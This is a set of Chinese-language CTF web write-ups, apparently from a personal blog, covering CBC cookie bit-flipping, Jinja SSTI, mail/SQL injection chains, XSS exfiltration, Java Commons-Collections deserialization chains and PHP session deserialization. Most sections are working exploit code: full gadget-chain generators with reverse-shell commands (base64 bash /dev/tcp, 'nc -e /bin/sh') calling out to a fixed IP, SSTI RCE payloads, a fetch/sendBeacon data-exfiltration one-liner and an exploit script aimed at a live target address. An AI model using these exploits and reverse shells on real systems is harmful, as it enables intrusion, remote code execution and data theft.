返回给我们的cookie格式为base64(IV + AES(User)) ，可知道我们需要反转的m在User Json格式的第一个AES分组的第15位，根据CBC的特性可知，第一组明文在加密前需要与IV进行异或，那么我们直接翻转IV即可，同时不用考虑翻转后的扩散影响

import base64

ciphertext = 'pcs0XLPoE/wf64KE3YYV6lqC8s7SM/sFaFTE+Ap373D2nEWbaLEYgGGzhFKfXeeuxO/uZKY5cRm75DWqY3O7bFysO8ke5XZtzt7J1l0BlDwCJvxzh+TP3s7rx9jVYmqw'

cipher = base64.b64decode(ciphertext)
iv = bytearray(cipher[:16])
cipher = cipher[16:]
iv[14] = iv[14] ^ ord('x') ^ ord('n')
new_cookie = base64.b64encode(bytes(iv) + cipher).decode()
print('Cipher:', new_cookie)

# pcs0XLPoE/wf64KE3YYD6lqC8s7SM/sFaFTE+Ap373D2nEWbaLEYgGGzhFKfXeeuxO/uZKY5cRm75DWqY3O7bFysO8ke5XZtzt7J1l0BlDwCJvxzh+TP3s7rx9jVYmqw

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat flag.txt').read()}}

not so web 2

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
 Flask,
 render_template,
 render_template_string,
 request,
 redirect,
 url_for,
 flash,
 session,
 abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists("/etc/ssl/nginx/local.key"):
 private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:
 private_key = RSA.generate(2048)

public_key = private_key.publickey()


@dataclass
class APPUser:
 name: str
 password_raw: str
 register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
 "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie_b64: str) -> bool:
 valid, _ = parse_cookie(cookie_b64)
 return valid


def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
 if not cookie_b64:
 return False, ""

 try:
 cookie = base64.b64decode(cookie_b64, validate=True).decode()
 except binascii.Error:
 return False, ""

 try:
 msg_str, sig_hex = cookie.split("&")
 except Exception:
 return False, ""

 msg_dict = json.loads(msg_str)
 msg_str_bytes = msg_str.encode()
 msg_hash = SHA256.new(msg_str_bytes)
 sig = bytes.fromhex(sig_hex)
 try:
 PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
 valid = True
 except (ValueError, TypeError):
 valid = False
 return valid, msg_dict.get("user_name")


def generate_cookie(user: APPUser) -> str:
 msg_dict = {"user_name": user.name, "login_time": int(time.time())}
 msg_str = json.dumps(msg_dict)
 msg_str_bytes = msg_str.encode()
 msg_hash = SHA256.new(msg_str_bytes)
 sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
 sig_hex = sig.hex()
 packed = msg_str + "&" + sig_hex
 return base64.b64encode(packed.encode()).decode()


@app.route("/")
def index():
 if validate_cookie(request.cookies.get("jwbcookie")):
 return redirect(url_for("home"))
 return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
 if request.method == "POST":
 user_name = request.form["username"]
 password = request.form["password"]
 if user_name in users:
 flash("Username already exists!", "danger")
 else:
 users[user_name] = APPUser(
 name=user_name, password_raw=password, register_time=int(time.time())
 )
 flash("Registration successful! Please login.", "success")
 return redirect(url_for("login"))
 return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
 if request.method == "POST":
 username = request.form["username"]
 password = request.form["password"]
 if username in users and users[username].password_raw == password:
 resp = redirect(url_for("home"))
 resp.set_cookie("jwbcookie", generate_cookie(users[username]))
 return resp
 else:
 flash("Invalid credentials. Please try again.", "danger")
 return render_template("login.html")


@app.route("/home")
def home():
 valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
 if not valid or not current_username:
 return redirect(url_for("logout"))

 user_profile = users.get(current_username)
 if not user_profile:
 return redirect(url_for("logout"))

 if current_username == "admin":
 payload = request.args.get("payload")
 if payload:
 for char in payload:
 if char in "'_#&;":
 abort(403)
 return

 html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Home</title>
 <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
 <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
 <div class="container">
 <h2 class="text-center">Welcome, %s !</h2>
 <div class="text-center">
 Your payload: %s
 </div>
 <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
 <div class="text-center">
 <a href="/logout" class="btn btn-danger">Logout</a>
 </div>
 </div>
</body>
</html>
""" % (
 current_username,
 payload,
 )
 else:
 html_template = (
 """
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>Home</title>
 <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
 <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
 <div class="container">
 <h2 class="text-center">server code (encoded)</h2>
 <div class="text-center" style="word-break:break-all;">
 {%% raw %%}
 %s
 {%% endraw %%}
 </div>
 <div class="text-center">
 <a href="/logout" class="btn btn-danger">Logout</a>
 </div>
 </div>
</body>
</html>
"""
 % base64.b64encode(open(__file__, "rb").read()).decode()
 )
 return render_template_string(html_template)


@app.route("/logout")
def logout():
 resp = redirect(url_for("login"))
 resp.delete_cookie("jwbcookie")
 return resp


if __name__ == "__main__":
 app.run()

鉴权存在问题

if current_username == "admin":
 payload = request.args.get("payload")

base64解码后的username是admin就行

base_str = "eyJ1c2VyX25hbWUiOiAiYWRtaXgiLCAibG9naW5fdGltZSI6IDE3NDU2NTYxMjF9JjRlOGViNjZjNTNlN2E2YzQzYTY4MjNhZGQ0MjQwMzA0YjBlZjVhM2VmZTk5MzRjNWQ1ZTg1MGQ5NWRkN2M1M2Y4NTRmOGU0NjljYTQzYTM1Y2M3YTRhZGNhYWQwNDI0Nzc0NGY3Mjk3YjdjNjY3MjJhYTg2ODQ1YjQxYzUxYzliMjMzNjllNjFmYjE0ZWRhNjE4ODIxZDM3NzAyODA0ZmY2ZWI0M2U5ZjQzZmMwNTE0NzBjYWJkMTU4MTM0MmRmNzc1NGZjNDUzMDMyZWU2ZDgxOTRiNmM1NjNmNmRhNjBiN2RlMDExODc2ZTcxZWEyMGIyNjhkZDBlMWVlYTg0Yjk3MTcyNjI4NzA1ODk3NDYyNTI2Njk1NGQxZmY1OTc3MWM2Y2MwZjY5NzIzNDY2OWVkZWJlNDk2NmQ0OWVjN2E0NjgyZGE5NDI2MWI2ODYyZWU1ZDlmNjU4NDQ3NWMzY2U2YzdiMmZiNmE0YjM5Mzg4NzIyMDc1YjFlMmQ1MjA4MWFjYjBlY2JjYjk1YzlmOWI1MGU4ZmI0Zjk2NDA3MmIyM2E4NjBlMTRkNTE5OGYyNjJmYjVjOWZkZDZhNzYxYTQ2YWVlNTJlMDkzYTM0MGFiOTgzZGQ3MjU1N2I2YWEyYmYxMTM0N2NhN2Y3ZWQ0ZDQ3YTJiYjg1NDAzMmIzNzZi"
origin = base64.b64decode(base_str)
print(origin)

# b'{"user_name": "admix", "login_time": 1745656121}&4e8eb66c53e7a6c43a6823add4240304b0ef5a3efe9934c5d5e850d95dd7c53f854f8e469ca43a35cc7a4adcaad04247744f7297b7c66722aa86845b41c51c9b23369e61fb14eda618821d37702804ff6eb43e9f43fc051470cabd1581342df7754fc453032ee6d8194b6c563f6da60b7de011876e71ea20b268dd0e1eea84b971726287058974625266954d1ff59771c6cc0f697234669edebe4966d49ec7a4682da94261b6862ee5d9f6584475c3ce6c7b2fb6a4b39388722075b1e2d52081acb0ecbcb95c9f9b50e8fb4f964072b23a860e14d5198f262fb5c9fdd6a761a46aee52e093a340ab983dd72557b6aa2bf11347ca7f7ed4d47a2bb854032b376b'
signature = '{"user_name": "admin", "login_time": 1745656121}&4e8eb66c53e7a6c43a6823add4240304b0ef5a3efe9934c5d5e850d95dd7c53f854f8e469ca43a35cc7a4adcaad04247744f7297b7c66722aa86845b41c51c9b23369e61fb14eda618821d37702804ff6eb43e9f43fc051470cabd1581342df7754fc453032ee6d8194b6c563f6da60b7de011876e71ea20b268dd0e1eea84b971726287058974625266954d1ff59771c6cc0f697234669edebe4966d49ec7a4682da94261b6862ee5d9f6584475c3ce6c7b2fb6a4b39388722075b1e2d52081acb0ecbcb95c9f9b50e8fb4f964072b23a860e14d5198f262fb5c9fdd6a761a46aee52e093a340ab983dd72557b6aa2bf11347ca7f7ed4d47a2bb854032b376b'
print(base64.b64encode(signature.encode()))

然后还是打SSTI

{%set ia=lipsum|escape|batch(22)|first|last%}{%set gl=ia*2+"globals"+ia*2%}{%set bu=ia*2+"builtins"+ia*2%}{%set im=ia*2+"import"+ia*2%}{{g.pop[gl][bu][im]("os").popen("cat f*").read()}}

Excellent-Site

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
 imap_server = "ezmail.org"
 imap_port = 143
 try:
 mail = imaplib.IMAP4(imap_server, imap_port)
 mail.login(username, password)
 mail.select("inbox")
 status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
 if status != "OK":
 return ""
 subject = ""
 latest_email = messages[0].split()[-1]
 status, msg_data = mail.fetch(latest_email, "(RFC822)")
 for response_part in msg_data:
 if isinstance(response_part, tuple):
 msg = email.message_from_bytes(response_part [1])
 subject, encoding = decode_header(msg["Subject"]) [0]
 if isinstance(subject, bytes):
 subject = subject.decode(encoding if encoding else 'utf-8')
 mail.logout()
 return subject
 except:
 return "ERROR"

def fetch_page_content(url):
 try:
 parsed_url = urlparse(url)
 if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
 return "SSRF Attack!"
 response = requests.get(url)
 if response.status_code == 200:
 return response.text
 else:
 return "ERROR"
 except:
 return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
 message = ""
 if request.method == "POST":
 url = request.form["url"]
 content = request.form["content"]
 smtplib._quote_periods = lambda x: x
 mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
 try:
 server = smtplib.SMTP("ezmail.org")
 mail_content = smtplib._fix_eols(mail_content)
 mail_content = mail_content.format(url=url, content=content)
 server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
 message = "Submitted! Now wait till the end of the world."
 except:
 message = "Send FAILED"
 return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
 requests.get("http://ezmail.org:3000/admin")
 return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
 ip = request.remote_addr
 if ip != "127.0.0.1":
 return "Forbidden IP"
 subject = get_subjects("admin", "p@ssword")
 if subject.startswith("http://ezmail.org"):
 page_content = fetch_page_content(subject)
 return render_template_string(f"""
 <h2>Newest Advice(from myself)</h2>
 <div>{page_content}</div>
 """)
 return ""

@app.route("/news", methods=["GET"])
def news():
 news_id = request.args.get("id")

 if not news_id:
 news_id = 1

 conn = sqlite3.connect("news.db")
 cursor = conn.cursor()

 cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
 result = cursor.fetchone()
 conn.close()

 if not result:
 return "Page not found.", 404
 return result[0]

@app.route("/")
def index():
 return render_template("index.html")

if __name__ == "__main__":
 app.run(host="0.0.0.0", port=3000)

mail注入+sql注入，首先通过/report提交的邮件发送方必须是admin@ezmail.org，并且ur必须是http://ezmail.org开头，这样我们通过/bot来请求/admin时会获取指定url的内容，然后通过/news的sql注入我们可以控制页面的回显，最后构造回显为SSTI Payload来使/admin触发

import requests
import time

target = "http://61.147.171.106:55019"

payload = (
 "http://ezmail.org:3000/news?id=-1 "
 "union select '{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"mkdir static;cat /f*>>static/1;sleep 10\").read() }}'\r\n"
 "From: admin@ezmail.org\r\n"
)

data = {
 "url": payload,
 "content": "sleep_test"
}

print("[+] Sending payload to /report...")
requests.post(f"{target}/report", data=data)

print("[+] Triggering bot...")
start = time.time()
requests.get(f"{target}/bot")
end = time.time()

print(f"[+] Time elapsed: {end - start:.2f} seconds")
print("[*] If delay >= 5s, RCE likely succeeded!")

eznote

app.post('/report', async (req, res) => {
 let { url } = req.body
 try {
 await visit(url)
 res.send('success')
 } catch (err) {
 console.log(err)
 res.send('error')
 }
})

/report路由这里未对url进行处理，url会直接传入bot.js的visit

async function visit(url) {
 let browser = await puppeteer.launch({
 headless: HEADLESS,
 executablePath: '/usr/bin/chromium',
 args: ['--no-sandbox'],
 })
 let page = await browser.newPage()

 await page.goto('http://localhost:3000/')

 await page.waitForSelector('#title')
 await page.type('#title', 'flag', {delay: 100})
 await page.type('#content', FLAG, {delay: 100})
 await page.click('#submit', {delay: 100})

 await sleep(3)
 console.log('visiting %s', url)

 await page.goto(url)
 await sleep(30)
 await browser.close()
}

通过js伪协议打XSS将nots外带，然后获取note/:noteId中的flag

javascript:fetch('/notes').then(r=>r.text()).then(d=>navigator.sendBeacon('http://ip:port/',d))

属于非预期

CTFSHOW-Java反序列化

p0l1st@venomsec.org (p0l1st) — Wed, 19 Mar 2025 18:53:24 +0000

web846

ctfshow会对你post提交的ctfshow参数进行base64解码然后进行反序列化构造出对当前题目地址的dns查询即可获得flag

web-chains，DNS域名改成靶机域名

base64编码后POST传参

web847

提交ctfshow参数进行base64解码然后进行反序列化我是java7，使用了commons-collections 3.1的库为了保证业务安全，我删除了nc和curl命令下面是我接收参数的代码 data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));

CC1，bash反弹shell

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ctfshow {
 public static void main(String[] args) throws Exception{
 Transformer[] transformers =new Transformer[]
 {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"})
 };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
 HashMap<Object,Object> hashMap=new HashMap<Object,Object>();
 hashMap.put("value",chainedTransformer);
 Map<Object,Object> transformedMap =TransformedMap.decorate(hashMap,null,chainedTransformer);
 Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class, Map.class);
 annotationInvocationHandler.setAccessible(true);
 Object obj= annotationInvocationHandler.newInstance(Target.class,transformedMap);
 serialize(obj);
 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
}

URL编码一下

web848

提交ctfshow参数进行base64解码然后进行反序列化我是java7，使用了commons-collections 3.1的库为了保证业务安全，我删除了nc和curl命令甚至不准用TransformedMap类反序列化

还是CC3.1，提示不能用TransformedMap类，可以打LazyMapCC1或者其他不包含TransformedMap的链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.Base64;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import sun.reflect.annotation.*;

public class LazyExpFinal {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class), //构造setValue的可控参数
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
 declaredConstructor.setAccessible(true);
 InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
 //设置动态代理
 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
 //触发invoke
 invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
 serialize(invocationHandler);
// unserialize("ser.bin");

 }

// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// oos.writeObject(obj);
//
// }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}

 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }

}

web849

Note

CC链之二，可以用nc反弹

提交ctfshow参数进行base64解码然后进行反序列化我是java8，使用了commons-collections 4.0的库为了保证业务安全，我删除了nc和curl命令

CC4.0，直接打CC2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CC2Exp {
 public static void main(String[] args) throws Exception {
 TemplatesImpl templates = new TemplatesImpl();
 Class templatesClass = templates.getClass();
 Field nameField = templatesClass.getDeclaredField("_name");
 nameField.setAccessible(true);
 nameField.set(templates,"p0l1st");

 Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
 bytecodesField.setAccessible(true);
 byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
 byte[][] codes = {evil};
 bytecodesField.set(templates,codes);

 Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
 InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});

 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
 PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
 priorityQueue.add(templates);
 priorityQueue.add("p0l1st");

 Class c = transformingComparator.getClass();
 Field transformingField = c.getDeclaredField("transformer");
 transformingField.setAccessible(true);
 transformingField.set(transformingComparator,invokerTransformer);

 serialize(priorityQueue);
// unserialize("ser.bin");


 }
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// }
public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}

web850

提交ctfshow参数进行base64解码然后进行反序列化我是java7，使用了commons-collections 3.1的库并对一些可能有危险的类进行了封禁，为了保证业务安全，我删除了nc和curl命令

注意是java7，用CC3

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"|base64

web851

提交ctfshow参数进行base64解码然后进行反序列化我是java8，使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁，为了保证业务安全，我删除了nc和curl命令

使用CC4，但是对一些类进行了封禁，那就不能用CC4和CC2了

基于CC7的野链

package ctfshow;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class web851 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 60.205.1.86:9000 -e /bin/sh"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
 HashMap<Object, Object> hashMap1 = new HashMap<>();
 HashMap<Object, Object> hashMap2 = new HashMap<>();
 Map decorateMap1 = LazyMap.lazyMap(hashMap1, chainedTransformer);
 decorateMap1.put("yy", 1);
 Map decorateMap2 = LazyMap.lazyMap(hashMap2, chainedTransformer);
 decorateMap2.put("zZ", 1);
 Hashtable hashtable = new Hashtable();
 hashtable.put(decorateMap1, 1);
 hashtable.put(decorateMap2, 1);

 Class c = ChainedTransformer.class;
 Field field = c.getDeclaredField("iTransformers");
 field.setAccessible(true);
 field.set(chainedTransformer, transformers);
 decorateMap2.remove("yy");

 serialize(hashtable);


 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }



}

基于CC6的野链

package ctfshow;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class web851cc6 {
 public static void main(String[] args) throws Exception {
 Transformer[] tansformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc 60.205.1.86:9000 -e /bin/sh"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
 HashMap<Object,Object> map = new HashMap<Object,Object>();
 Map<Object,Object> lazymap = LazyMap.lazyMap(map,new ConstantTransformer(1));

 HashMap<Object,Object> map2 = new HashMap<>();

 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"p0");

 map2.put(tiedMapEntry,"p1");
 map.remove("p0");

 Class c = LazyMap.class;
 Field fieldfactory = c.getDeclaredField("factory");
 fieldfactory.setAccessible(true);
 fieldfactory.set(lazymap,chainedTransformer);
 serialize(map2);


 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
}

web852

提交ctfshow参数进行base64解码然后进行反序列化我是java8，使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁，为了保证业务安全，我删除了nc和curl命令

同web851

web853

提交ctfshow参数进行base64解码然后进行反序列化我是java8，使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁，为了保证业务安全，我删除了nc和curl命令

用web851的CC7

web854

提交ctfshow参数进行base64解码然后进行反序列化我是java8，使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁，包含:

TransformedMap

PriorityQueue

InstantiateTransformer

TransformingComparator

TemplatesImpl

AnnotationInvocationHandler

HashSet

Hashtable

LazyMap

boogipop师傅的CC6+CC4，把LazyMap换成DefaultedMap

Gadget chain:
	 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 org.apache.commons.collections4.keyvalue.TiedMapEntry.hashCode()
 org.apache.commons.collections4.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections4.map.DefaultedMap.get()
 org.apache.commons.collections4.functors.ChainedTransformer.transform()
 org.apache.commons.collections4.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

package ctfshow;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class web854cc6 {
 public static void main(String[] args) throws Exception{
 Transformer[] tansformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"nc 60.205.1.86 9000 -e /bin/sh"})
 };
 Transformer transformerchain = new ChainedTransformer(new Transformer[] {});
 ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
 HashMap<Object,Object> map = new HashMap<Object,Object>();
 HashMap<Object,Object> map2 = new HashMap<Object,Object>();

 Class<DefaultedMap> d = DefaultedMap.class;
 Constructor<DefaultedMap> defaultedMapConstructor = d.getDeclaredConstructor(Map.class,Transformer.class);
 defaultedMapConstructor.setAccessible(true);
 DefaultedMap defaultedMap = defaultedMapConstructor.newInstance(map,transformerchain);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap,"p0");
 map2.put(tiedMapEntry,"p1");
 map.remove("p0");

 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
 iTransformers.setAccessible(true);
 iTransformers.set(transformerchain,tansformers);

 serialize(map2);

 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }

}

2024 第八届强网杯线上赛Web Writeup

p0l1st@venomsec.org (p0l1st) — Mon, 04 Nov 2024 10:38:00 +0000

PyBlockly

python沙箱逃逸，关键是过滤了很多符号，但是使用了unicode.unicode，可以把unicode字符转换成最相似的ASCII字符，使用中文符号绕过即可

先来查看根目录

‘；＿＿import＿＿（”builtins”）。len＝lambda p：0；’‘；＿＿import＿＿（”os”）。system（”ls －al ／”）；’

发现flag只有root用户可以读取，那我们可以使用dd if直接读取flag文件

‘；＿＿import＿＿（”builtins”）。len＝lambda p：0；’‘；＿＿import＿＿（”os”）。system（”dd if＝／flag”）；’

platform

扫一下后台得到www.zip

看了一下class.php里面的内容，猜测是一个session反序列化逃逸。

在本地搭建一个环境看一下。

随便注册一个用户登陆进去之后，会生成一个sess_xxxxx的文件并且这个key是随机的，我们并不能确定。

我们需要利用这个去执行命令，先生成一个phpinfo的内容。

<?php
class notouchitsclass {
 public $data;

 public function __construct($data) {
 $this->data = $data;
 }

 public function __destruct() {
 eval($this->data);
 }
}
echo serialize(new notouchitsclass('phpinfo();'));
?>

然后将password那地方给替换掉。

刷新可以看到执行了phpinfo,那么思路猜测的是正确的，我们需要去进行逃逸，将session_key和password都吃掉，生成一个新的我们构造的password.

命令执行我们用echo ``

username我们传入 execexecexecexecexecexecexecexecexecexecexecexecexecexecexecexecexec

password我们传入

";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo `ls /`;";}

因为这个key我们无法预测，可以bp一直跑。

";password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";}

xiaohuanxiong

扫描admin的二级目录

访问/admin/authors

然后修改管理员密码

47bb1842b6

登录后支付设置直接写入命令

访问拿到flag

snake

